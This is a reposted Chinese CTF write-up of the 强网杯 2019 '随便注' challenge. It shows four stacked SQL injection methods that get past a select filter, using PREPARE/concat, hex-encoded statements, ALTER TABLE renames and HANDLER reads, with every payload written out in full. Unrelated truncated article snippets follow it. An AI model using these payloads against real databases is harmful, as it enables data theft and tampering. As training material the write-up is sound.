强网杯 2019]随便注 【SQL注入】四种解法

2023-11-19

题目简介

解题步骤

方法一:

  1. 首先启动并访问靶机,有一个输入框,随便输入1' or 1 = 1,测试一下是否存在sql注入。
  2. 提交后提示error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1,说明后端参数后面有可能存在其他sql语句,我们在1' or 1 = 1后面加一个#,将可能存在的其他sql语句注释掉,即:1' or 1 = 1#,成功输出了该表的所有数据,但是没有flag

image.png
3.既然存在sql注入,那么我们手动探测一下其他的表,首先判断一下字段个数:' union select 1,2;#,系统提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);,preg_match函数用于执行正则表达式,也就是说,系统通过该代码将select等关键字都过滤了。
4.既然select关键字无法使用,我们可以通过堆叠注入的方式,来绕过select关键字。
5.查看数据库名:1';show databases;#
image.png
6.查看数据表:1';show tables;#
image.png
7.我们先来看一下第一个表1919810931114514的表结构,有两种方式:

方式一:1'; show columns from tableName;#
方式二:1';desc tableName;#
#注意,如果tableName是纯数字,需要用`包裹,比如
1';desc `1919810931114514`;#

获取到字段名为flag:
image.png
8. 因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE  hacker;#

得flag:flag{c0fc32ff-8ae1-4b96-8da0-1f621d7fdae3}
image.png

方法二:

前几步和方法一一致,最后一步(第8步),我们可以直接将

select * from `1919810931114514`

语句进行16进制编码,即:73656c656374202a2066726f6d20603139313938313039333131313435313460,替换payload:

1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE  hacker;#

同时,我们也可以先定义一个变量并将sql语句初始化,然后调用

1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#

方法三

最后一步(第8步)也可以通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# 

然后通过1' or 1 = 1 #,成功获取到flag

方法四

此题还可以通过handle直接出答案:

1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

知识详解

1.预编译

预编译相当于定一个语句相同,参数不同的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤
格式:

PREPARE 名称 FROM     Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;

举例:查询ID为1的用户:

方法一:
SElECT * FROM t_user WHERE USER_ID = 1

方法二:
PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1';
EXECUTE jia;

方法三:
PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?';
SET @ID = 1;
EXECUTE jia USING @ID;

方法四:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;

2. 更改表名

  • 修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;

  • 修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

    3.handle

  • handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:

    打开表:
    HANDLER 表名 OPEN ;
    

查看数据: HANDLER 表名 READ next;

关闭表: HANDLER 表名 READ CLOSE;

```

参考资料

分享网络安全学习笔记和CTF真题详解,更多内容欢迎大家关注公众号:【张甲】

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

强网杯 2019]随便注 【SQL注入】四种解法 的相关文章

随机推荐

  • SQLServer用SQL语句给字段设置约束

    第二次写博客 比第一次写起来顺手些了 文章目录 SQL server数据库的基础学习2 一 用SQL语句给字段设置约束 设置check约束 设置default约束 设置unique约束 SQL server数据库的基础学习2 一 用SQL语
  • BURP安装Turbo Intruder插件报错问题

    项目场景 看别人文章时 发现一款神仙插件Turbo Intruder 准备安装下来 先是在BURP商店安装 发现不能用 使用时报错 然后去github把源码下载下来安装 问题描述 安装后 准备使用它自带的脚本跑一下 发现报错 查看日志发现是
  • kubernetes报错Error from server (AlreadyExists): error when creating "kubernetes-dashboard.yaml": serv

    在执行 kubectl apply f kubernetes dashboard yaml 报错 Error from server AlreadyExists error when creating kubernetes dashboar
  • SonarQube集成golang检测(10)

    sonar集成golang的检测工具 sonar中的插件SonarGo自带一些检测规则 但sonar想要集成golang的覆盖率 单元测试报告 和更多的代码规则 需要集成其他golang的检测工具 单元测试 通过golang的单元测试工具g
  • mysql8.0以上初始化以及忘记密码的方法

    Mysql8 0以上忘记初始密码时重置的方法 摘要 第一步 关闭Mysql服务 第二步 跳过Mysql密码验证 第三步 无密码方式进入Mysql 第四步 将登陆密码设置为空 第五步 更改自己的登陆密码 最后一步 验证密码是否修改成功 摘要
  • 网络收集的逻辑思维题

    一个有意思的逻辑训练题目 题目如下 有两个大于1小于100的自然数x y 老师告诉小明两个数的和 告诉小强两个数的积 已知小明和小强足够聪明 下面是两个人的对话 小强 我不知道这两个数是多少 lt 沉默中 gt 小明 我知道你不知道 我不知
  • 设计模式--组合模式

    组合模式 又叫部分整体模式 属于结构型模式 基本原理 以树形的结构将相似的对象组合起来 主要流程 1 创建对象 2 在对象中设置用来存放下一级相似对象的数据结构 3 在对象中设置增删改查等功能 注意 这种模式和数据结构中的树形结构相似 in
  • Spring-OSGI 1.0 M3 中文手册(Spring Dynamic Modules Reference Guide for OSGi(tm) Service Platforms)

    Spring OSGI 1 0 M3 中文手册 Spring Dynamic Modules Reference Guide for OSGi tm Service Platforms Spring Dynamic Modules Refe
  • scrapy-单线程爬取并存入mwsql

    scrapy基本结构 爬取流程 定义随机请求头 抓取异步网页请参考 scrapy框架 基础结构加爬取异步加载数据的网址项目完整实例 items py class BooksItem scrapy Item define the fields
  • 任务五:使用LightGBM对数据进行分类并评估

    1 对前几部得到的特征进行分类 主要用到sklearn中的LightGBM进行评估 并用网格搜索进行参数调优 2 Lightgbm是2017年在当时的NeurIPS 当时为NIPS 上发表的论文 文中主要是相比于XGBoost LightG
  • 前端面试的话术集锦第 18 篇博文——高频考点(HTTP协议 & TLS协议)

    这是记录前端面试的话术集锦第十八篇博文 高频考点 HTTP协议 TLS协议 我会不断更新该博文 1 HTTP 请求中的内容 HTTP请求由三部分构成 分别为 请求行 首部 实体 请求行大概长这样GET images logo gif HTT
  • 基于QT学习,小部件自适应QMainWindow窗口的大小

    基于QT学习 小部件自适应QMainWindow窗口的大小 使用QT Creator创建桌面QT应用 QT5 网上找了许多资源发现都不是自己想要的效果 本文的方法是使用纯代码写的 未使用mainwindow ui画的 第一次写博客 直接贴代
  • 文心一言与GPT-4比对测试!

    Waitlist了三个星期 今天下午终于拿到了百度文心一言的体验资格 于是立刻展开测试 根据文心一言网页端信息显示 目前最新发版是4月1号的版本 版本号是v1 0 3 应该是从上个月16号发布会以后又做了两版迭代 根据文心一言自己的回答 可
  • OkHttp工具类在微服高并发场景中问题实践总结

    OkHttp工具类在微服高并发场景中问题实践总结 问题场景 我的应用是一个中间业务应用XXApp 一个交易请求进来需要依赖下游应用 采用http协议通讯方式 需要调用3 4次下游请求 老XXApp在生产上有大量Close wait问题 可以
  • 怎么用python画sin函数图像_如何使用python的matplotlib模块画正弦函数图像

    python是一个很有趣的语言 可以在命令行窗口运行 python中有很多功能强大的模块 这篇经验告诉你 如何利用python的matplotlib模块 绘制正弦函数y sin x 的图像 工具 原料 windows系统电脑一台 pytho
  • Android 实战项目分享(一)用Android Studio绘制贝塞尔曲线的艺术之旅

    一 项目概述 欢迎来到创意之源 我们精心打造的绘图应用程序将带你进入一个充满艺术和技术的奇妙世界 通过使用Android Studio 我们实现了绘制贝塞尔曲线的功能 让你能够轻松创作出令人惊叹的艺术作品 不论你是热爱绘画的大学生还是渴望学
  • SyntaxError: can't assign to operator

    变量名不能有
  • 计算机图像视频处理

    计算机图像视频处理 计算机视觉概论 计算机视觉概念 计算机图像处理 也即数字图像处理 Digital Image Processing 是指将图像信号转换成数字信号并利用计算机对其进行处理的过程 是通过计算机对图像进行去除噪声 增强 复原
  • CVPR 2018

    感谢阅读腾讯 AI Lab 微信号第 32 篇文章 CVPR 2018上涌现出非常多的优秀论文 腾讯 AI Lab 对其中精华文章归类与摘要 根据受关注程度 对生成对抗网络 视频分析与理解和三维视觉三大类论文进行综述 第一部分 生成对抗网络
  • 强网杯 2019]随便注 【SQL注入】四种解法

    题目简介 题目名称 强网杯 2019 随便注 1 题目平台 BUUCTF 题目类型 Web 考察知识点 SQL注入 解题步骤 方法一 首先启动并访问靶机 有一个输入框 随便输入1 or 1 1 测试一下是否存在sql注入 提交后提示erro